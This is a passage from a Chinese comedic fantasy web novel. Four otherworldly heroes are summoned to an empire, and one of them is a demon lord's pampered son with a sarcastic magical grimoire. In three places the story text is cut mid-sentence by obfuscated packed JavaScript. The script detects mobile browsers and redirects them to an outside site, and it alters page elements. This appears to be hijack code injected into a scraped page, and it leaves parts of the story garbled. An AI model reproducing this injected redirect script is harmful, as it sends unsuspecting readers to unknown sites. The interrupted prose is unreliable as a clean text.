《全员勇者，但我是魔二代》 1. 异界勇者召唤 “嗡——” 空气中的魔力剧烈震荡，索拉利姆皇宫中央那座沉寂百年的巨大召唤阵爆发出刺目强光。 铭刻在地板上的古老符文依次点亮，随着最后一道符文归位，空间结构被强行撕裂，连接向未知的彼方。 “来了！有响应了！” 宫廷首席法师激动得连胡须都在抖动，手中的法杖高举过头。 在他身后，帝国皇帝奥雷里乌斯·瓦勒里乌斯端坐在白金王座之上，色眼眸微微眯起，注视着那即将决定世界命运的光辉。 “为了帝国的存续，为了未尽的光明……以此为契，降临吧，救世的英杰们！” 随着首席宫廷法师的高喝，光芒冲天而起，短暂地盖过了窗外的正午烈阳。 光尘渐落，法阵中央显现出四道身影。 最左侧，一位身着星空法袍的少女周身环绕着无数几何符文，法杖顶端凝聚着不安定的元素风暴。 紧邻其侧，金发青年手握圣剑，正气凛然，耀眼得宛如第二轮太阳。 阴影之中，一个模糊的人形若隐若现，即便站在聚光灯下也让人难以捕捉其面容，只能隐约看到一条不安甩动的尾巴。 最后，所有人的目光都不可避免地停留在第四个人身上。 艾什尔·克劳利站在那里，左手漫不经心地拄着一根镶嵌红宝石的手杖，右手捧着一个正冒热气的黑色保温杯。 唯独他周围干净得过分，没有任何酷炫的光影特效。如果非要说有什么，那大概是他打开保温杯盖时，飘出来带着淡淡硫磺味的热可可香气。 这是一位黑发红瞳的青年。单论那张脸，简直是造物主炫技般的杰作，俊美到足以让最虔诚的苦修士破戒。 然而，这份惊心动魄的美感，被他身上那件衣服彻底粉碎了。 他身上穿着一件红绿配色，织工极其粗糙的羊毛衫。胸口那个歪歪扭扭的图案，勉强能看出是一只……透着一股子清澈的愚蠢卡通小恶魔？ 活脱脱一副被奶奶强行裹成粽子过冬的架势。在这庄严肃穆，连呼吸都要小心翼翼的皇家大厅里，他不仅扎眼，还土得理直气壮，丑得极具攻击性。 高台之上，皇帝奥雷里乌斯·瓦勒里乌斯微微皱眉。 熔金般的眸子扫过前三位勇者时充满赞许与希望，但落到艾什尔身上时，不可避免地停顿了一瞬，随后罕见地露出了一丝迷茫。 “这……也是勇者？” “那个……”首席宫廷法师埃德蒙推了推单片眼镜，满是怀疑，“是不是哪里的符文画歪了？怎么混进了个普通人？” 站在埃德蒙身侧的主教颤抖着擦了擦眼镜，手忙脚乱地翻阅着手中的预言书：“星象启示明明是「破晓四星」……但这第四颗星……为何感觉不到任何魔力波动？” “跟普通人没两样。”身穿重甲的将军冷哼一声，毫不掩饰失望，“这身板，连我手下的伙夫都不如。还有那件衣服是什么鬼东西？某种诅咒图腾吗？” 艾什尔·克劳利听见了他们的窃窃私语，但他此刻没空理会这些。 「维度转移完成。」 一个优雅的英式管家腔调响了起来，与此同时，一行燃烧的文字如弹幕般出现在他眼前。 「少爷，看来这群土著的眼光也就止步于‘谁发光谁牛逼’这种肤浅的阶段了。那个穿着白色窗帘（指皇帝）的家伙倒是有点实力，但也仅限于此。至于那只铁甲苍蝇（指将军）……」 那行文字跳动了一下，有点跃跃欲试： 「如果您允许，我可以立刻起草一份《灵魂转让协议》，让他去地狱刷三百年马桶来学习什么叫‘基本的礼貌’。」 “肃静。” 王座之上的青年语调不高，却瞬间压下了所有的私语。他缓缓起身，白金长袍流淌着宛如液态阳光的辉光，头顶悬浮着一圈由纯粹光元素凝结而成的日冕。 “欢迎来到索拉瑞斯，异界的旅人们。朕乃奥雷里乌斯·瓦勒里乌斯，此世之主，亦是尔等的召唤者。” 话音落下，庞大的威压笼罩了整个大厅。少女身边的魔力漩涡被压制得缩回体内，骑士手中的圣剑光芒黯淡了几分，阴影中的刺客本能地伏低了身体。 唯独艾什尔，若无其事地站在那里，淡定地对着保温杯冒出的热气吹了两口，然后仰头。 “滋溜——” 落针可闻的大殿里，这声响格外刺耳。 奥雷里乌斯英挺的眉梢微跳，随即恢复原样。 “赋予尔等使命之前，朕需要知晓，尔等拥有何种力量。” “尤其是你，这位……独具一格的朋友。” 艾什尔优雅地抬起手杖，行了一个并非这个世界礼节。 “陛下，”他嘴角噙笑，“有些人靠剑刃斩断荆棘，有些人靠魔法轰平障碍。至于我？我这人比较文明，习惯……讲道理。” “至于这身衣服……” 他低头瞥了一眼胸前那只傻笑的卡通恶魔，以及红绿相间的灾难配色，嘴角抽动了一下。 “这是一种……嗯，家乡的文化习俗。代表着长辈沉重且无法拒绝的爱。” 皇帝沉默，似乎在评估这番鬼话的含金量，片刻后才再次开口。 “无论尔等使用何种手段，是剑、魔法还是所谓的‘道理’，帝国只看结果。魔王苏醒在即，深渊蠢蠢欲动。既然来了，就让吾等见证尔等的价值。” 皇帝的话音在穹顶下回荡，身着白金镶边制服的宫廷侍从上前。 “安排住处。三日后，皇家猎场，展示你们的‘道理’。” “诸位勇者，请随我来。陛下已为诸位备下贵宾寝殿，请先移步休整。” 于是，四位来自异界的勇者大人在宫廷侍从的引导下，穿过几条挂满历代皇帝画像的长廊。 每一幅画上的老头都用一种韭菜长势如何的眼神盯着他们。 艾什尔吊在队尾，晃了晃手里印着“好好学习”地狱铭文的保温杯，似乎对里面还剩多少存货比对皇宫更感兴趣。 “那个……” 最先打破沉默的是走在最前方的圣剑骑士。这位金发碧眼的青年停下脚步，转身面向众人。他调整了一下肩上的深红披风，脸上挂着王道漫画男主的爽朗笑容，洁白的牙齿几乎反光。 “虽然刚才陛下让我们展示力量，但我想，作为召唤而来对抗魔王的伙伴，我们或许应该先互相认识一下。” 他右手握拳抵住左胸狮鹫纹章，微微欠身行了一个标准的骑士礼。 “亚瑟·布雷克特，来自异界的诺德王国，原皇家骑士团团长，擅长剑术与战阵指挥。战场之上，诸位尽可将后背托付于我。” 教科书般的勇者台词。 「检测到高浓度正能量辐射。此人极大概率会试图用友情、羁绊、团结等有害概念洗脑您。建议保持距离。」 “克莱尔。克莱尔·亚斯特雷亚。” 紫发少女单手扶了扶巨大的法师帽，另一只手下意识抓紧手中的典籍。视线在亚瑟的铠甲附魔纹路上停留了片刻，随后转向了艾什尔那一身红绿配色的羊毛衫。 “职业是……按照这个世界的说法，大概是法师？专攻奥术模型解构与魔力流体动力学。但我对这个世界的魔法体系还存有疑虑，刚才那个传送阵技术太糙了，能量损耗率高到离谱。” 她嫌弃地撇嘴，显然职业病犯了。 紧接着，两人的目光汇聚到正在小口啜饮热可可的艾什尔身上。 艾什尔慢条斯理地咽下液体，掏出丝绸手帕，动作矜贵地按了按嘴角。 “艾什尔·克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193802|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳利。” 他微微侧头，露出了足以让魅魔羞愧的营业式假笑。 “如你们所见，一个平平无奇的……嗯，‘顾问’？擅长起草合同、解决纠纷，偶尔也负责一些……售后服务。” “顾问？”亚一脸触及知识盲区的困惑，“这也是一种战斗职业？” 克莱尔则没那么客气：“你真是被召唤来的？我在你身上感知不到任何魔力波动。普通人的生命力场都比你强。” “也许我的存在本身就超越了你的认知范畴？”艾什尔眯起眼，笑得云淡风轻。 克莱尔眉毛一挑，嘴角抽了抽，强忍下施法的冲动。 “不予置评。但你的毛衣确实超越了我的审美的底线，这点我可以肯定。” “文化差异，文化差异嘛。”亚瑟试图打圆场，转向角落的阴影，“那位朋友呢？还没请教大名。” 三人的目光转向躲在立柱阴影里的刺客。 一直没什么存在感的刺客被这突如其来的关注弄得有些不自在。他一只耳朵警惕地抖动了一下，琥珀竖瞳微微收缩，似乎在评估在场每个人的威胁等级。 “……希罗。”他透露了一个简短的名字，“除此之外，无可奉告。” 艾什尔瞥了他一眼。那条蓬松的银白狐尾正在对方身后轻轻摇晃，和主人刻意营造的高冷人设形成了微妙的反差。 “希罗是吧，你的尾巴很诚实。” 希罗的尾巴僵住了。 他低头看了一眼那团叛变的毛绒物体，然后迅速将斗篷裹紧，把尾巴藏了进去。 “呵，”克莱尔冷笑一声，抱着胳膊，“原来还有比我更不擅长社交的。” 亚瑟无奈地摇了摇头。 “到了，诸位勇者大人。” 负责引路的宫廷侍从适时开打断了这场尴尬的互动，侧身展示出身后奢华的庭院别苑。 “这是陛下特意为诸位准备的休憩之所，每位大人都有独立的套房。晚宴将在三小时后开始，届时会有专人来接引诸位。在此期间，若有需求，摇铃即可。” 侍从虽然在对所有人说话，但眼神更多地停留在亚瑟和克莱尔身上。轮到艾什尔时，只剩下公式化的点头，甚至带着一丝敷衍。 大厅中毫无异象的登场，刚才毫无营养的闲聊，加上这身地摊货毛衣，已经让他们认定艾什尔就是凑数的。 “那么，我就先去休息了。”克莱尔打了个哈欠，并不在意侍从的态度，径直走向最近的一个房间，“如果没有什么足以颠覆魔法理论的大事，别来烦我。” “我也需要保养剑刃。”亚瑟朝众人颔首致意，选了另一间。 希罗一言不发，如一道影子滑进最角落的房间。 转眼间，只剩艾什尔一人。 「扫描完成。少爷，这三位的灵魂成色都相当不错。」 「亚瑟：典型的秩序善良阵营，最容易被忽悠去当肉盾。只需谈论守护与正义，他就会心甘情愿地为你挡刀。」 「克莱尔：混乱善与绝对中立的混合体。求知欲高于自保本能，只要方向给对，她会主动替您踩雷，顺便把禁区当实验场。」 「希罗：纯粹的实用主义者。虽然警惕性极高，但这种人骨子里服从强者。不必费心建立信任，只需让他意识到少爷手里的资源能让他活得更好，他就会变成您最趁手的刀。」 艾什尔耸耸肩，转身走向剩下的那间房。 “阿福，注意措辞。我只是个提供咨询服务的顾问，不要把潜在客户描述成一次性消耗品，这样显得我很没职业道德。” 「少爷，容我纠正第两千零四次，我不叫阿福。吾乃记载真理的禁忌魔典，您应尊称为——」 “好的，阿福。”艾什尔打开房门，语气诚恳，“知道了，阿福。” 2. 异界勇者首秀 这个下午，四位来自不同世界的勇者们展现出了令人尴尬的默契——互不打扰。 克莱尔把自己关在房间里，除了偶尔传出几声爆炸闷响和某种炼金气体泄漏的“嘶嘶”声外，几乎没有任何动静。 亚瑟则在庭院里坚持每日的挥剑练习，汗水顺着金色的发梢滴落，在夕阳下折射出耀眼的光辉。 希罗……希罗也许在房梁上，也许在灌木丛里，总之不可能在阳光下。 至于艾什尔·克劳利，瘫在柔软的天鹅绒沙发里，手里捧着标题名为《索拉瑞斯风土人情指南之：口音、穿着与被宰概率对照表》的闲书。 临近傍晚，沉重的橡木门被敲响了。 “勇者大人，打扰了。” 房门被推开，一名身着宫廷标准制服的女官走了进来，身后跟着几名捧着托盘的侍从。 领头的女官视线在艾什尔那件红绿毛衣上停留了大约0.5秒。 那是一种包含了震惊、困惑与职业素养强制压抑下的平静的复杂眼神，然后迅速垂下眼帘，行了一个无可挑剔的屈膝礼。 “我是负责贵宾区起居的埃琳娜。奉陛下口谕，今晚将在星辉大厅举办欢迎晚宴。届时，将有众多帝国贵族与要员出席。” 她挥手示意，侍从揭开托盘上的绸布。 “这是陛下特意备下的礼服，请允许我们服侍各位沐浴更衣。” 亚瑟看着那套绣着银线的丝绒礼服，皱了皱眉：“我有自己的礼服。骑士的甲胄就是最好的正装。” 埃琳娜保持着完美的微笑，但语气却不容置疑：“布雷克特大人，这并非战时会议。陛下希望看到的是作为客·人·的各位，而非士兵。况且……” 她的目光隐晦地扫过亚瑟脖颈处淌入衣领的汗水：“这也是对其他贵族的基本礼貌。” 亚瑟语塞，只能闷声接过衣服。 克莱尔则一脸厌恶地看着那条层层叠叠的蕾丝裙子：“这种结构严重影响行动效率。如果发生战斗，这堆布料会让我的摔倒几率增加三成。” “我们会为您施加‘优雅步伐’附魔，确保护您如履平地。”埃琳娜显然早就准备好了应对方案。 最后，她走到了艾什尔面前。 两名侍从捧着一套精致的深黑色燕尾服，搭配暗红领巾，低调奢华，剪裁考究。 “克劳利大人，”埃琳娜盯着艾什尔胸前那个傻笑的卡通恶魔图案，深吸一口气，“特别是您……陛下特别嘱咐，希望您务必、一定、绝对要换上这套礼服。这关乎皇室的颜面。” 艾什尔低头看了看自己身上的S级防具「恒温型炼狱羊毛衫」，又看了看那套燕尾服。 “这个嘛，埃琳娜女士，我也很想配合。但是……”他指了指身上的毛衣，“这件衣服有点……怎么说呢，有点‘粘人’。我可以穿，但我不敢保证能不能脱下来。” 「少爷，您可以把燕尾服套在毛衣外面。虽然会让你看起来像个臃肿的企鹅，但至少表面上符合了凡人的社交礼仪。」 “粘人？”埃琳娜显然没理解这个词的物理含义。她挥了挥手，“请相信我们的专业能力。没有什么衣服是我们脱不下来的。” 半小时后。 浴室里传来了侍从们惊恐的尖叫声、布料撕裂的声音，其中夹杂着几声仿佛来自地狱深处的咆哮。 “啊！它咬我！这件衣服咬人！” “火！有火苗冒出来了！” “别碰那个扣子！它变成了眼睛！” 亚瑟、克莱尔，还有不知何时出现的希罗面面相觑。 又过了十分钟，浴室门打开了。 艾什尔一脸无奈地走了出来。 红绿相间的毛衣依然顽固地穿在他身上，毫发无损。而只不过在外面极其勉强地套上了黑色燕尾服，撑得严重变形。 燕尾服的扣子崩飞了两颗，袖口撑裂露出里面的绿色毛线袖子，领巾更是被系成了一个歪歪扭扭的死结。 “正如我所说，”艾什尔摊开手，对目瞪口呆的埃琳娜耸了耸肩，“它真的很粘人。我父亲织的时候可能用了强力胶……或者灵魂锁链之类的。” 埃琳娜深吸了一口气，手按在胸口，平复即将爆发的心梗。她看了一眼墙上的时钟，时间已经不早了。 “……就这样吧，只要外面是黑色的就行。请各位随我来，大人物们已经在等候了。” …… 星辉大厅的穹顶是一整块被魔法永久固定的透明水晶，透明如冰，坚固胜钢。 夕阳最后的余晖穿透晶体，在大理石地面上投下斑驳流转的光点，宛如打翻了一地碎金。 埃琳娜在厅门前驻足，转身看向四人。 “晚宴期间，请各位大人注意礼仪。摄政王阁下、各路贵族以及教廷的主教阁下都会到场。有任何需要，可以向在场的侍从示意。” “明白。”亚瑟颔首。 两扇雕刻着双头狮鹫的巨大木门缓缓打开，暖黄色的光芒与低沉的交谈声扑面而来。 身着华服的贵族们三五成群，手中高脚杯里盛着深红酒液。魔法乐团悬浮在半空，自动演奏着舒缓而庄严的宫廷乐章。 “异界勇者到——！” 侍从官的高呼穿透乐声。数百道视线瞬间聚焦在门口一行人身上。 亚瑟大步当先，昂首挺胸。这位皇家骑士显然对此类场面驾轻就熟，金发在烛火下熠熠生辉，完美契合了索拉瑞斯人对“勇者”的刻板印象。 “这就是勇者大人？当真英武不凡……” 克莱尔紧随其后，手提着繁复的蕾丝裙摆，脸上写满了“再多看一眼就炸你”的警告。 至于希罗，没有人注意到希罗。这名刺客虽然跟着队伍，存在感却稀薄得像是隐身了。 最后踏入大厅的，是艾什尔·克劳利。 他手里端着印有炼狱语的保温杯，另一只手拄着红宝石手杖，迈着优雅的步伐走了进来。 那一刻，大厅里响起了成片的吸气声。 起初是惊艳。 在数千盏魔法烛火的照耀下，青年黑发如夜，红瞳似酒。那种从骨子里透出的漫不经心的优雅与贵气，让在场不少盛装打扮的贵族少爷小姐们都忘记了呼吸。 但下一瞬，倒抽气的声音变了味，噎住的、呛住的、差点把酒喷出来的应有尽有。 视线下移。 原本剪裁得体的燕尾服被里面的衣物撑得鼓鼓囊囊，敞开的领口露出了里面充满了乡土气息的红绿毛衣。那个歪歪扭扭的卡通小恶魔图案，仿佛透过领口对在场众人进行嘲笑。 惊艳一秒变惊悚。 “……那是什么？某种诅咒吗？” “难以置信……那是最新潮的异界时尚？不对，那是对美学的公然挑衅！” “你们不懂，这叫反差。这种颓废与怪诞混合的美感……啊，我想请他来我庄园喝茶。” 「少爷，根据《社交场合着装规范》第七条，您目前的穿着已经构成了对在场所有贵族审美的精神攻击。建议您保持低调，避免成为众矢之的。」 “你说得对。”艾什尔微微点头，压低声音。 「不过您那张脸本身就是另一种精神攻击，所以大概也没什么区别。」 “……” 艾什尔充耳不闻。他早已练出了只要我不尴尬，尴尬的就是别人的境界。 星辉大厅呈半圆形，长桌沿着弧线排列，中央留出一块空地供宾客交流。最里端的高台上摆放着主座，但目前空着，皇帝尚未入场。 高台两侧分别站着两群人，从他们的站位和周围人的态度来看，显然是两个不同的派系。 左侧以一位身着深紫礼服的中年人为核心。他银发梳得一丝不苟，灰蓝眼眸沉静如深潭。即便只是站在那里，周围人便自觉矮了半截，恭敬地保持距离。 “那是摄政王殿下，雷纳德·冯·斯特林。”埃琳娜低声提醒，“斯特林家族掌控着帝国的采矿业，摄政王本人年轻时是帝国第一剑士。” “魔力波动内敛，放在我的世界，至少也是个传奇级别的强者。”克莱尔的评价从旁边飘来。 右侧则簇拥着一位身披繁复金边白袍的老者，面容慈祥，银发如雪，手持一柄纯金权杖。 “塞莱斯廷枢机大主教。”埃琳娜的语气更加谨慎，“教会在帝国的最高代言人，也是陛下的精神导师。” 艾什尔一针见血：“典型的二元权力结构。一边是军权，一边是神权。皇帝坐在中间当裁判。” “嘘——”埃琳娜脸色微变。 “无论是斯特林阁下还是塞莱斯廷大主教，都会试图拉拢诸位。但作为陛下邀请的贵宾，诸位或许应当保持中立。至少在了解局势之前。” 亚瑟认真点了点头：“感谢提醒，埃琳娜女士。骑士会谨慎行事。” 话音未落，大厅入口处的仪仗队骤然奏响号角。 交谈声戛然而止，贵族们纷纷转向入口，整理衣襟，调整站姿。 “恭迎白金王座之主，奥雷里乌斯·瓦勒里乌斯陛下——” 埃琳娜迅速后退一步，与其他侍从一同躬身行礼。 皇帝奥雷里乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一番话掷地有声，画出的大饼又香又硬。 亚瑟眼中燃起了熊熊火焰：“为了正义与和平！我，亚瑟·布雷克特，愿为您效劳！” 克莱尔也微微欠身：“只要能提供足够的魔法研究经费和古代文献阅读权限，我可以帮忙。” 希罗沉默了片刻，低声道：“只要报酬合理。” 唯独艾什尔直挺挺地站着，甚至还稍微重心偏移，换了个更舒服的站姿，无趣地望着台上那个光芒万丈的男人。 奥雷里乌斯的视线定格在他身上，金色眸子里浮起一抹审视的意味。 “艾什尔·克劳利。你的答复呢？” 艾什尔眨了眨眼，那双如红酒般醇厚的眼眸里荡漾着笑意。 “陛下，说实话，打打杀杀这种粗活不适合我。不仅弄脏衣服，还得流一身臭汗，这种活儿给亚瑟先生这样专业的骑士再合适不过。” “不过我发现，世人总有个误区，以为混乱是深渊的特权，而秩序，意味着死板的法律和枯燥的教条。” 奥雷里乌斯目光微凝。 “我的家乡有一句谚语：‘最高的秩序，往往建立在对混乱的绝对支配之上。’” 他微微一笑，那种笑容里没有谄媚，反而透着股让奥雷里乌斯莫名熟悉的从容。 那是上位者俯视棋盘时的从容。 “陛下想驱逐深渊？那太浪费了。”艾什尔摊开双手，“深渊是混乱，是欲望，是不可控的疯狂。而我……擅长管理这些。” “即使是再疯狂的恶魔，只要签了字，盖了章，它就得乖乖去推磨。这就是契约的美学，也是比暴力更高级的‘秩序’。” 他向皇帝微微鞠躬，动作优雅得无可挑剔，那件丑绝人寰的红绿毛衣仿佛都变成了得体的高定礼服。 “所以，陛下。我没法承诺当您的剑。但我可以承诺，我会成为您的‘法务顾问’。让您的敌人在临死前，不仅后悔与您为敌，甚至会痛哭流涕地觉得，是他们自己违约在先。” 大厅陷入了短暂的死寂。 “哈哈……有趣的论调。” 奥雷里乌斯笑了。不是礼节性的微笑，是发自内心的带着几分欣赏的笑。 “‘对混乱的绝对支配’……朕喜欢这个说法。” “既然如此，朕准许你的承诺。艾什尔·克劳利，让朕看看，你所谓的‘法务顾问’，究竟能做到什么地步。” 「Ding——」 「恭喜少爷，话术检定：大成功。您不仅忽悠了皇帝的耳朵，还取悦了他的傲慢。奥雷里乌斯对您的评价标签已从‘可疑的废物’更新为‘有趣的异类’。」 艾什尔在心里比了个耶。 “必不辱命，陛下。” 他再次行礼，起身时顺手从路过侍从的托盘里顺走一杯看起来最贵的红酒，向皇帝遥遥举杯。 “敬秩序。” 3. 散装勇者队 艾什尔回到豪华套房时，脸颊肌肉已经因为维持太久的假笑而隐隐发酸。 他随手把沉得像砖头的保温杯墩在天鹅绒铺就的书桌上，然后整个人毫无形象地瘫倒在柔软的大床上。 “总算下班了……” 他低头瞥了一眼给他带来无数差评的傻笑小恶魔图案。 小恶魔察觉到主人的视线，眨了眨眼，发出几声“滋滋”响动，活像只邀功的宠物。 艾什尔毫不留情地给了它一巴掌。 “别发出这种动静，恶心。还有你的配色真的很像一盘发霉的番茄炒蛋。” 毛衣领口收紧勒了一下他的脖子，以示抗议。 艾什尔不再理会，从领口里拽出挂在脖子上的深红色的金属怀表。 「少爷，您终于想起来了。温馨提示，您查看【今日成长任务】的时间比预定晚了十六个小时。」 怀表在他手中微微震动，表盖自动弹开。显示时间的表盘化作一片漆黑的漩涡，紧接着，一行燃烧的炼狱文字投影在半空中。字体像极了阿斯摩狄斯批阅文件时的狂草，还带着故乡的硫磺味。 【今日成长任务：乖宝宝作息】 「我看你的眼袋都要掉到地上了。作为九狱未来的门面，这种颓废的形象绝对不允许。哪怕是毁灭世界，也要保持容光焕发。」 任务目标：于今日22:00前熄灯上床，保持8小时深度睡眠。（严禁在被窝里偷看魔法书、刷通讯水晶或谋划毁灭世界。） 难度评级：S（对熬夜成瘾的青少年而言） 成功奖励：暂定（达标后次日清晨发放） 失败惩罚：明日全天强制变身幼崽形态（身高减半，声线锁定奶音，威吓技能全部封印）。 ——爱你的（且正在盯着你的）父亲 阿福补充道：「宗主大人有令，考虑到位面时差，今日迟到豁免。但从明天开始，请务必于清晨第一时间查阅任务列表。否则惩罚机制将自动升级至公开处刑级别。」 艾什尔眼皮一跳：“比如？” 「比如把您的羊毛衫强制幻化成粉红蕾丝裙，并控制您的肢体在大庭广众下跳一段地狱极乐鸟的求偶舞。」 “……我也很爱你，爸爸。” 艾什尔面无表情地吐出这句话，瞅了眼时间，随即双腿乱蹬甩飞皮鞋，连裤子都顾不上脱，一个鱼跃滑进被窝。 身体陷进柔软羽绒被的一瞬间，怀表的时针正好跳到了10的位置。 “叮——” 「虽说您的姿势像只搁浅的海豹，但勉强符合上床睡觉的物理定义。任务判定：进行中。」 “……闭嘴，晚安。” 被子一拉，蒙住脑袋。 室内魔导灯随之熄灭。 窗外，索拉利姆的夜空群星璀璨。远处那座据说永不熄灭的白金圣塔散发着柔和微光，静静守望着沉睡的帝都。 …… …… 「起床！少爷！太阳晒屁股了！虽然按地狱时区现在还是午夜，但入乡随俗是绅士的基本素养！」 那道刻薄优雅的英式管家嗓音准时在脑海里炸开，音量精准控制在能让人惊醒，却不至于脑溢血的区间。 “阿——福——” 艾什尔猛地掀开被子，一头柔顺的黑发炸成了海胆。 “如果不是世界末日或者老头子破产了，你就死定了。” 「很遗憾，世界运转良好，九狱的财报也依旧赤字……咳，鉴于您已达成昨日睡眠指标，现在发放奖励。」 怀表“啪”地弹开，红光投射至半空。一张轻飘飘的卡片随着光芒实体化，旋转着落在被子上。 艾什尔半眯着眼睛，甚至懒得伸手去拿。 “这什么玩意儿？优惠券？深渊火锅城满一千减五？还是魅魔足浴体验卡？” 「请容我纠正您的偏见。这是阿斯摩狄斯大人考虑到您初来乍到、身无分文，为避免您沦落到刷盘子维生这种低效困境，特批的启动资金。」 艾什尔挑眉，两指夹起卡片。 白金色卡面流光溢彩，边缘镶嵌着流动的钻尘，背面刻着一行嚣张至极的炼狱语铭文。 【因果律钞能力·白金钻卡（12h体验版）】 无限额度：连接九狱金库的概念接口。只要是能用钱解决的问题，它就是无敌的。 强制买单：附带不可豁免的魅惑光环。哪怕想买下皇帝的皇冠，商家也会在恍惚中觉得这真是一笔划算的交易。 艾什尔翻转着卡片，那点起床气瞬间烟消云散。 “这就是所谓的‘穷养儿，富养女’的反面教材吗？我喜欢。” 他跳下床，几步跨到落地镜前。镜中青年精神饱满，黑眼圈彻底消失，皮肤状态好得发光。 那件「恒温型炼狱羊毛衫」自动飘了过来，没等艾什尔反应就套上了身，还贴心地调整领口，让小恶魔图案正对着镜子龇牙咧嘴。 “行行行，知道你尽职。”艾什尔拍了拍袖子。 敲门声响起。 “克劳利大人，早餐已备好。”埃琳娜的声音一如既往地职业且缺乏感情，“另外，几位勇者大人正在讨论今日行程，希望您能参加。” 艾什尔抓起挂在衣架上的红宝石手杖「以理服人」，又捞起桌上的保温杯，拧盖喝了一口。 今天的饮品是热腾腾的豆浆，还加了某种能增加魔力亲和的蜂蜜。 “来了。” 他推门而出。 公共起居室内，亚瑟和克莱尔已经坐在长桌旁。桌上摆满了丰盛的帝国式早餐：烤香肠、煎蛋、白面包、水果塔，还有各式果酱。 “早安，各位打工人们！”艾斯尔心情极好地打了个招呼，随手拉开一把椅子坐下，“昨天睡得怎么样？这皇宫的床垫质量相当凑合。” 亚瑟正端着一杯牛奶，见艾什尔进来，正气凛然的脸上绽开爽朗笑容。 “早，克劳利。”他放下杯子，唇边那圈白色的奶胡子让他少了点骑士团长的威严，多了几分邻家大男孩的憨厚，“昨晚你睡得可真早，我还想找你聊聊关于战术配合的事。” “充足睡眠是保持美貌的秘诀。” 艾什尔接过侍从递来的热毛巾擦了擦手，回道：“何况，老年人才熬夜，年轻人都是倒头就睡。” 坐在对面的克莱尔翻了个白眼。她面前的盘子堆得像座小山，巧克力牛角包旁挤着刚出炉的水果塔，手边的红茶里加了能致死量的方糖。 “那是嗜睡症早期症状。建议你去找个牧师看看脑子，或者让炼金术士给你调配点清醒药剂。” 至于希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193804|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗…… 艾什尔漫不经心地仰起头，视线越过长桌，最后在天花板横梁的阴影里发现了一条垂下来的银白色尾巴尖。 “上面风景独好？”他冲着房梁举了举保温杯。 那撮毛尖猛地一抖，缩回了阴影里。没过两秒，希罗像一片羽毛无声地落地，手里攥着半个啃过的苹果，挪到了离所有人最远的长桌末端坐下。 亚瑟清了清嗓子，放下手中的刀叉。 “既然全员到齐，该谈谈正事了。” 骑士团长挺直脊背，目光巡视全场，硬是把早餐桌坐出了圆桌会议的架势。 “虽然皇帝陛下承诺了资源支持，但我们不能只是坐在这里等待。作为勇者，我们需要主动出击，摸清这个世界的底细，尤其是潜在的威胁。” 他看向艾什尔，似乎下意识地觉得这个看起来最不着调的人可能最没有团队意识。 “我打算去一趟冒险者公会。” “公会？”克莱尔从松饼堆里抬起头，嘴角还沾着糖霜。 “去那种满是汗臭味和肌肉笨蛋的地方做什么？如果你想了解魔物，书本上的图鉴比那帮喝醉了吹牛的冒险者靠谱一万倍。” “书本教不了你在这个世界的重力下怎么挥剑。”亚瑟耐心地解释。 “一来我们是一个团队，哪怕只是临时的，也需要磨合配合。” “二是可以接触到底层的情报网，看看民间对于深渊复苏有什么看法。也许能听到皇宫里听不到的声音。” “更重要的是，我们得注册身份。异界勇者这头衔听着好听，但只在知情的贵族圈子里管用。但在民间，S级冒险者徽章才是硬通货。许多古代遗迹和特殊区域都有准入限制。” “没兴趣。”克莱尔拒绝得干脆利落，“我已经申请了皇家图书馆的特别通行证。这个世界的魔法体系和我原本的世界存在偏差，我要去搞清楚它的底层逻辑，不然哪天魔力冲突，大家一起完蛋。” 话音未落，她叼起最后一块司康饼，含糊不清地丢下一句“回见”，便风风火火地冲出了餐厅。 亚瑟看着她离去的背影，叹了口气，又转向餐桌末端。 “那么你呢，希罗阁下？” 那里已经空了。 “……他什么时候走的？”亚瑟一脸茫然。 “在你发表情报网重要性的演讲的时候。”艾什尔轻笑了一声。 亚瑟揉了揉太阳穴，有些无奈：“看来在这个世界组建一支像样的队伍，还有很长的路要走。” “别这么悲观。各有各的节奏嘛。法师去钻研理论，刺客去踩点侦查，分工挺合理的。” “那你呢，克劳利？” 艾什尔慢悠悠地喝完了最后一口豆浆，心满意足地打了个饱嗝。 “我今天也有点私事，不过可以顺路陪你去公会转转。” 亚瑟愣了一下，显然没想到他会答应。 “你也觉得我们需要实战训练？” “实战？不，我是去消费的。” 艾什尔两指夹出一张流光溢彩的卡片【因果律钞能力·白金钻卡】，在指间灵活地转了一圈。 “既然要了解这个世界，不如先从了解它的物价和商业体系开始。我迫不及待想要花……我是说，为帝国经济做贡献了。” 4. 资本主义的友情攻略 皇宫的白金拱门在晨光中熠熠生辉，两侧的卫兵如同雕塑般笔直站立，目不斜视地注视着前方。 艾什尔和亚瑟走下宫殿的台阶。 那件红绿相间的毛衣在白金与绯红的皇家主色调中显得格外扎眼，活像有人把一棵圣诞树硬塞进了国家大剧院。 亚瑟大步流星地走在前面：“我们先去冒险者公会登记身份。据说索拉利姆的冒险者公会分部是全大陆最大的，应该能挖到不少有用的消息。” “你倒是精力充沛。” 